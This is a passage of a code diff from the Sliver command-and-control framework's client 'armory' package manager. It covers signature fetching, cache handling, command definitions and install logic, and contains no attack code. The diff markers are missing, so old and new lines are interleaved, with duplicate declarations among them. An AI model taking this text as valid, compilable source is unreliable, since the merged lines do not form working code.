indexHashesForArmory := calculateHashesForIndex(index)
|
||||
|
||||
if len(cacheHashesForArmory) > len(indexHashesForArmory) {
|
||||
// Then there are packages in the cache that do not exist in the armory
|
||||
if len(indexHashesForArmory) == 0 {
|
||||
packagesToRemove = cacheHashesForArmory
|
||||
} else {
|
||||
for _, packageHash := range indexHashesForArmory {
|
||||
if !slices.Contains(cacheHashesForArmory, packageHash) {
|
||||
packagesToRemove = append(packagesToRemove, packageHash)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// The remaining case of there being packages in the armory that do not exist in the cache
|
||||
// will have to be solved with fetchPackageSignatures, and that function calls this one
|
||||
// after fetching signatures and storing them in the cache, so that case should not apply
|
||||
|
||||
for _, packageHash := range packagesToRemove {
|
||||
pkgCache.Delete(packageHash)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Be kind to armories and limit concurrent requests to 10
|
||||
// This is an arbritrary number and we may have to tweak it if it causes problems
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// If packages were deleted from the index, make sure the cache is consistent
|
||||
makePackageCacheConsistent(index)
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If a package has gone stale, remove it from the package cache
|
||||
pkgCache.Delete(armoryPkg.ID)
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
ID: armoryPkg.ID,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
pkgCache.Store(armoryPkg.ID, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
@@ -484,7 +767,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
|
||||
var sig *minisign.Signature
|
||||
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
|
||||
sig, _, err = pkgParser(armoryPkg, true, clientConfig)
|
||||
sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
} else {
|
||||
sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
|
||||
}
|
||||
@@ -501,19 +784,53 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func clearAllCaches() {
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
currentArmories.Delete(key)
|
||||
return true
|
||||
})
|
||||
indexCache.Range(func(key, value any) bool {
|
||||
indexCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
pkgCache.Range(func(key, value any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func getArmoryPublicKey(armoryName string) string {
|
||||
// Find PK for the armory name
|
||||
armoryPK := ""
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Name == armoryName {
|
||||
armoryPK = armoryEntry.PublicKey
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return armoryPK
|
||||
}
|
||||
@@ -0,0 +1,211 @@
|
||||
package armory
|
||||
|
||||
import (
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
// Commands returns the `armory` command and its subcommands.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
armoryCmd := &cobra.Command{
|
||||
Use: consts.ArmoryStr,
|
||||
Short: "Automatically download and install extensions/aliases",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
flags.Bind("connection", true, armoryCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("insecure", "I", false, "skip tls certificate validation")
|
||||
f.StringP("proxy", "p", "", "specify a proxy url (e.g. http://localhost:8080)")
|
||||
f.BoolP("ignore-cache", "c", false, "ignore metadata cache, force refresh")
|
||||
f.StringP("timeout", "t", "15m", "download timeout")
|
||||
})
|
||||
flags.BindFlagCompletions(armoryCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["proxy"] = completers.LocalProxyCompleter()
|
||||
})
|
||||
|
||||
armoryInstallCmd := &cobra.Command{
|
||||
Use: consts.InstallStr,
|
||||
Short: "Install an alias or extension",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InstallStr}),
|
||||
Args: cobra.RangeArgs(0, 1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryInstallCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
|
||||
f.StringP("armory", "a", "", "name of armory to install package from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryInstallCmd)
|
||||
flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
|
||||
AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
|
||||
)
|
||||
|
||||
armoryUpdateCmd := &cobra.Command{
|
||||
Use: consts.UpdateStr,
|
||||
Short: "Update installed aliases and extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryUpdateCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("armory", "a", "", "name of armory to get updates from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryUpdateCmd)
|
||||
|
||||
armorySearchCmd := &cobra.Command{
|
||||
Use: consts.SearchStr,
|
||||
Short: "Search for aliases and extensions by name (regex)",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SearchStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmorySearchCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armorySearchCmd)
|
||||
flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
|
||||
|
||||
armoryInfoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "View configured armories or details about a specific armory or package",
|
||||
Args: cobra.RangeArgs(0, 1),
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryInfoCommand(cmd, con, args)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryInfoCmd)
|
||||
carapace.Gen(armoryInfoCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("armory or package name"),
|
||||
)
|
||||
|
||||
armoryAddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a new armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AddArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("url", "u", "", "The URL of the armory index (required)")
|
||||
f.StringP("pubkey", "k", "", "The public key for the armory (required)")
|
||||
f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
|
||||
})
|
||||
armoryAddCmd.MarkFlagRequired("url")
|
||||
armoryAddCmd.MarkFlagRequired("pubkey")
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryAddCmd)
|
||||
|
||||
armoryRemoveCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RemoveArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryRemoveCmd)
|
||||
|
||||
armorySaveCmd := &cobra.Command{
|
||||
Use: consts.SaveStr,
|
||||
Short: "Save the armory configuration to disk",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SaveArmories(con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armorySaveCmd)
|
||||
|
||||
armoryEnableCmd := &cobra.Command{
|
||||
Use: consts.EnableStr,
|
||||
Short: "Enable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, true)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryEnableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryEnableCmd)
|
||||
|
||||
armoryDisableCmd := &cobra.Command{
|
||||
Use: consts.DisableStr,
|
||||
Short: "Disable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, false)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryDisableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryDisableCmd)
|
||||
|
||||
armoryModifyCmd := &cobra.Command{
|
||||
Use: consts.ModifyStr,
|
||||
Short: "Modify an armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ModifyArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "new name for the armory")
|
||||
f.StringP("pubkey", "k", "", "new public key for the armory")
|
||||
f.StringP("url", "u", "", "new URL for the armory")
|
||||
f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
|
||||
})
|
||||
carapace.Gen(armoryModifyCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryModifyCmd)
|
||||
|
||||
armoryRefreshCmd := &cobra.Command{
|
||||
Use: consts.RefreshStr,
|
||||
Short: "Refresh armory indexes",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RefreshArmories(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryRefreshCmd)
|
||||
|
||||
armoryResetCmd := &cobra.Command{
|
||||
Use: consts.ResetStr,
|
||||
Short: "Reset armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ResetArmoryConfig(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryResetCmd)
|
||||
|
||||
return []*cobra.Command{armoryCmd}
|
||||
}
|
||||
+588
-146
@@ -19,120 +19,596 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/server/cryptography/minisign"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrPackageNotFound - The package was not found
|
||||
ErrPackageNotFound = errors.New("package not found")
|
||||
// ErrPackageNotFound - The package was not found
|
||||
var ErrPackageNotFound = errors.New("package not found")
|
||||
var ErrPackageAlreadyInstalled = errors.New("package is already installed")
|
||||
|
||||
const (
|
||||
doNotInstallOption = "Do not install this package"
|
||||
doNotInstallPackageName = "do not install"
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var promptToOverwrite bool
|
||||
names := []string{}
|
||||
if len(args) > 0 {
|
||||
names = []string{args[0]}
|
||||
}
|
||||
forceInstallation, err := cmd.Flags().GetBool("force")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
|
||||
return
|
||||
}
|
||||
if forceInstallation {
|
||||
promptToOverwrite = false
|
||||
} else {
|
||||
promptToOverwrite = true
|
||||
}
|
||||
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
|
||||
if len(names) == 0 {
|
||||
armoryFilterName := ""
|
||||
if armoryPK != "" {
|
||||
armoryFilterName = armoryName
|
||||
}
|
||||
options := armoryInstallOptions(armoryPK, armoryFilterName)
|
||||
if len(options) == 0 {
|
||||
con.PrintInfof("No packages or bundles found\n")
|
||||
return
|
||||
}
|
||||
result, err := forms.ArmoryInstallForm(options)
|
||||
if err != nil {
|
||||
if errors.Is(err, forms.ErrUserAborted) {
|
||||
return
|
||||
}
|
||||
con.PrintErrorf("Armory install form failed: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(result.SelectedNames) == 0 {
|
||||
return
|
||||
}
|
||||
names = result.SelectedNames
|
||||
}
|
||||
if len(names) == 0 {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(ctx)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
|
||||
len(aliases), len(extensions),
|
||||
),
|
||||
if slices.Contains(names, "all") {
|
||||
names = []string{"all"}
|
||||
}
|
||||
|
||||
for _, name := range names {
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
|
||||
promptOverwrite := promptToOverwrite
|
||||
if name == "all" {
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
forms.Confirm(fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
), &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
promptOverwrite = false
|
||||
}
|
||||
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
continue
|
||||
}
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
err = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
if err == nil {
|
||||
continue
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
installList := []string{}
|
||||
pendingPackages := make(map[string]string)
|
||||
|
||||
for _, bundlePkgName := range bundle.Packages {
|
||||
packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
|
||||
continue
|
||||
} else {
|
||||
con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
for _, pkgID := range packageInstallList {
|
||||
if !slices.Contains(installList, pkgID) {
|
||||
installList = append(installList, pkgID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageID := range installList {
|
||||
packageEntry := packageCacheLookupByID(packageID)
|
||||
if packageEntry == nil {
|
||||
con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
|
||||
return
|
||||
}
|
||||
}
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
if packageEntry.Pkg.IsAlias {
|
||||
err := installAliasPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
func getInstalledPackageNames() []string {
|
||||
packageNames := []string{}
|
||||
|
||||
installedAliases := assets.GetInstalledAliasManifests()
|
||||
installedExtensions := assets.GetInstalledExtensionManifests()
|
||||
|
||||
for _, aliasFileName := range installedAliases {
|
||||
alias := &alias.AliasManifest{}
|
||||
manifestData, err := os.ReadFile(aliasFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
continue
|
||||
}
|
||||
err = json.Unmarshal(manifestData, alias)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, alias.CommandName) {
|
||||
packageNames = append(packageNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name || name == "all" {
|
||||
installAlias(alias, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
for _, extensionFileName := range installedExtensions {
|
||||
extension := &extensions.ExtensionManifest{}
|
||||
manifestData, err := os.ReadFile(extensionFileName)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
err = json.Unmarshal(manifestData, extension)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(extension.ExtCommand) == 0 {
|
||||
extensionOld := &extensions.ExtensionManifest_{}
|
||||
// Some extension manifests are using an older version
|
||||
// To maintain compatibility with those extensions, we will
|
||||
// re-unmarshal the data as the older version
|
||||
err = json.Unmarshal(manifestData, extensionOld)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, extensionOld.CommandName) {
|
||||
packageNames = append(packageNames, extensionOld.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range extension.ExtCommand {
|
||||
if !slices.Contains(packageNames, command.CommandName) {
|
||||
packageNames = append(packageNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, ext := range extensions {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("All packages installed\n")
|
||||
return nil
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
|
||||
return packageNames
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
// This is a convenience function to get the names of the commands in the cache
|
||||
func getCommandsInCache(armoryPK string) []string {
|
||||
commandNames := []string{}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
if cacheEntry.LastErr == nil {
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if cacheEntry.Alias.CommandName != "" && !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName != "" && !slices.Contains(commandNames, command.CommandName) {
|
||||
commandNames = append(commandNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return commandNames
|
||||
}
|
||||
|
||||
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
|
||||
packages := []*pkgCacheEntry{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if cacheEntry.Alias.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packages
|
||||
}
|
||||
|
||||
func getPackageIDFromUser(name string, options map[string]string) string {
|
||||
selectedPackageKey := ""
|
||||
optionKeys := util.Keys(options)
|
||||
slices.Sort(optionKeys)
|
||||
// Add a cancel option
|
||||
optionKeys = append(optionKeys, doNotInstallOption)
|
||||
options[doNotInstallOption] = doNotInstallPackageName
|
||||
forms.Select(fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name), optionKeys, &selectedPackageKey)
|
||||
selectedPackageID := options[selectedPackageKey]
|
||||
|
||||
return selectedPackageID
|
||||
}
|
||||
|
||||
func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
|
||||
